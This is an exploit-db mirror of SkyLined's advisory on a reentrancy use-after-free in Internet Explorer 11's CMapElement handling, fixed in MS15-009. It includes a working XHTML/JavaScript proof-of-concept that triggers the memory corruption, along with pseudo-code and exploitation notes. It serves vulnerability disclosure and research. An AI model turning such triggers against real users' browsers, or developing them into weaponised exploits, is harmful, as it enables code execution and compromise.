exploit-db-mirror/platforms/windows/dos/40757.xhtml

<!--
Source: http://blog.skylined.nl/20161114001.html

Synopsis

A specially crafted web-page can cause MSIE 11 to interrupt the handling of one readystatechange event with another. This interrupts a call to one of the various C<ElementName>Element::Notify functions to make another such call and at least one of these functions is non-reentrant. This can have various repercussions, e.g. when an attacker triggers this vulnerability using a CMapElement object, a reference to that object can be stored in a linked list and the object itself can be freed. This pointer can later be re-used to cause a classic use-after-free issue.

Known affected versions, attack vectors and mitigations

Microsoft Internet Explorer 11

An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript should prevent an attacker from triggering the vulnerable code path.

Description

When a DocumentFragment containing an applet element is added to the DOM, all elements receive a notification that they are removed from the CMarkup. Next, they are added to the DOM and receive notification of being added to another CMarkup. When the applet is added, a CObjectElement is created and added to the CMarkup. This causes a readystatechange event to fire, which interrupts the current code. During this readystatechange event, the DOM may be modified, which causes further notifications to fire. However, elements in the DocumentFragment that come after the applet element have already received a notification that they have been remove from one CMarkup, but not that they have been added to the new one. Thus, these elements may receive another notification of removal, followed by two notifications of being added to a CMarkup.
-->

<?xml version="1.0"?>
<!DOCTYPE x PUBLIC "x" "x">
<html xmlns="http://www.w3.org/1999/xhtml">
  <script type="text/javascript">
    <![CDATA[
      // This PoC attempts to exploit a renetrancy issue in Microsoft Internet
      // Explorer to trigger a use-after-free.
      // See http://blog.skylined.nl/20161114001.html for details.
      var oDocElem = document.documentElement;
      var oContainer, oMap1, oMap2, uEventCounter = 0;
      // A C CMarkup object can have a pointer to a C CDoc object. This C
      // CDoc object has a singly linked list of CMapElements added to the
      // DOM, starting at offset 8 (See MSHTML!CMarkup::GetMapHead) of the CDoc
      // and continuing through offset 38 of the CMapElement.
      // CDoc[8] -> CMapElement[38]#1 -> CMapElement[38]#2 -> etc... -> NULL
      // When CMapElement::Notify is called to add a Map element to the DOM,
      // code 0x17, the CMapElement is inserted at the start of this list.
      // When CMapElement::Notify is called to remove a Map element from the
      // DOM, code 0x18, the linked list is followed to find the CMapElement and
      // remove if from the list when found.
      // When CMapElement::Notify is called twice to add the same element to the
      // DOM, a loop is created, rather than the CMapElement ending up in the
      // list twice.
      // When CMapElement::Notify is called twice to remove the same element
      // from the DOM, nothing happens the second time.
      function onReadyStateChangeCallback(){
        var uEventId = ++uEventCounter;
        if (uEventId == 1) {
          // Create a "container" DOM element with three children:
          // map, applet, map.
          oContainer = document.createElement("oContainer");
          oMap1 = oContainer.appendChild(document.createElement("map"));
          oContainer.appendChild(document.createElement("applet"));
          oMap2 = oContainer.appendChild(document.createElement("map"));
          // Add the container DOM element to the DOM document. While adding the
          // applet DOM object to the DOM document a new C "CObjectElement" is
          // created and added to the C CMarkup (which is roughly the equivalent
          // of a DOM DocumentFragment AFAICT). This triggers a new
          // readystatechange event that interrupts the current one.
          oDocElem.appendChild(oContainer);
          // The interrupting readystatechange event is fired after the oMap2
          // C CMapElement::Notify method has been call to notify that the
          // object is being removed from one DocumentFragement, but before it
          // is notified that it is being added to another.
          // List#1 -> CMapElement#1 -> NULL
        } else if (uEventId == 2) {
          oContainer.removeNode(true);
          // Removing the container from the document causes another round of
          // calls to ::Notify for remove and add. The last call to oMap2 was
          // to inform it that it was removed from a C CMarkup. It is now
          // getting another such call. This is unexpected, but the code does
          // not detect it. Next, it is added to a new list.
          // List#2 -> NULL
          // List#2 -> CMapElement#2 -> CMapElement#1 -> NULL
        }
        if (uEventId == 1) {
          // Now, the delayed C CMapElement::Notify method to add the object
          // to the DOM is called. The CMapElement is added to the same list
          // again, causing a loop.
          // List#2 -> CMapElement#2 -> CMapElement#2 -> loop.
          // Finally, we remove the CMapElement from the DOM and destroy all
          // references we have to it. This causes another round of calls to
          // ::Notify for remove and add, only the remove is important, as
          // it fails to remove the CMapElement from the list because it
          // contains a loop.
          oMap2.removeNode();
          oMap2 = null;
          // List#2 -> CMapElement#2 -> CMapElement#2 -> loop.
          // As far as MSIE is concerned, all references to oMap2 have now been
          // destroyed, and the element is allowed to get freed. We need to
          // trick the new MemoryProtect code into actually releasing it. For
          // this, we need to interrupt JavaScript execution first, which is
          // done by setting a timeout.
          setTimeout(function () {
            // Now the MemoryProtect code will allow the CMapElement to be
            // freed. However, it only does so when enough memory has been
            // scheduled to be freed (100000 bytes). This can easily be forced
            // by creating and discarding a bunch of element. The video element
            // causes MSIE to allocate 0x190 bytes of memory.
            var uElementsCount = Math.ceil(100000 / 0x190);
            for (var i = 0; i < uElementsCount; i++) {
              document.createElement("video");
              CollectGarbage();
            }
            // Now the CMapElement is finally freed.
            // The list originally contained a reference to CMapElement#1.
            // When the code tries to remove this, it will follow the linked
            // list and access the freed CMapElement#2 memory.
            oMap1.removeNode();
            alert("FAIL");
          }, 0);
        }
      }
      document.addEventListener("readystatechange", onReadyStateChangeCallback, false);
      // This work by SkyLined is licensed under a Creative Commons
      // Attribution-Non-Commercial 4.0 International License.
    ]]>
  </script>
</html>

<!--
AFAICT, this event-within-an-event itself is the root cause of the bug and allows memory corruption in various ways. I discovered the issue because the code in CMapElement::Notify does not handle this sequence of events well. The below pseudo-code represents that function and shows how this can lead to memory corruption:

void MSHTML!CMapElement::Notify(CNotification* pNotification) {
  CElement::Notify(pArg1);

  if (pNotification->dwCode_00 == 17) { // add
    CMarkup* pMarkup = this->CElement::GetMarkup();
    this->pNextMapElement_38 = pMarkup->GetMapHead();
    pMarkup->CMarkup::SetMapHead(this);
  } else if (pNotification->dwCode_00 == 18) { // remove
    CMarkup* pMarkup = this->CElement::GetMarkup();
    CDoc pDoc = pMarkup->CMarkup::GetLookasidePtr(4);
    CMapElement** ppMapElement = &(pDoc->pMapElement_08);
    while(*ppMapElement) {
      if (*ppMapElement == this) {
        *ppMapElement = this->pMapElement_38;
        break;
      }
      ppMapElement = &(*ppMapElement->pMapElement_38);
    }
  }
}

This code maintains a singly linked list of map elements that have been added to the document. An object should never be added to this list twice, as this will cause a loop in the list (a map element pointing to itself as the next in the list). However, the event-within-an-event can be used to first cause two consecutive calls to remove the same element from this list followed by two calls to add the same element to the list. This results in the following sequence of events:

The first call to remove the element will remove it from the list.
The second call to remove the element will do nothing.
The first call to add the element will add it to the list.
The second call to add the element will try to add it to the list again, causing the list to contain a loop. This list is now corrupt.

At this point, an attacker can remove the CMapElement, causing the code to try to remove it from the list and free it. However, because of the loop in the list, the above code will not actually remove it from the list. After this, the pointer in the list points to freed memory.

Exploit

I focused on the CMapElement::Notify code and was able to reuse the freed memory originally used for the CMapElement with another object of similar size (eg. a CParamElement, which may be extra useful as it will store a pointer to its parent CObjectElement at offset 38). However, I could not think of a way to use the CMapElement::Notify code to do anything useful at that point. I could also not immediately find any other code that uses this linked list, which is a bit odd: why would MSIE keep a linked list and not use it? I suspect there must be other code that uses it, and that this code may allow exploitation of this vulnerability.

Aside from the use-after-free bug that exists for CMapElement objects above, there may be many other issues for other types of objects, as there are many different C<ElenentName>Element::Notify implementations for the various elements. It is assumes that none of these were designed to be reentrant. Unfortunately, I did not have time to exhaustively reverse engineer their code to look for other code paths that might be exploitable. As a result I am unable to prove exploitability beyond reasonable doubt.

Time-line

September 2014: This vulnerability was found through fuzzing.
September 2014: This vulnerability was submitted to ZDI.
September 2014: This vulnerability was acquired by ZDI.
February 2015: Microsoft address this issue in MS15-009.
November 2016: Details of this issue are released.
-->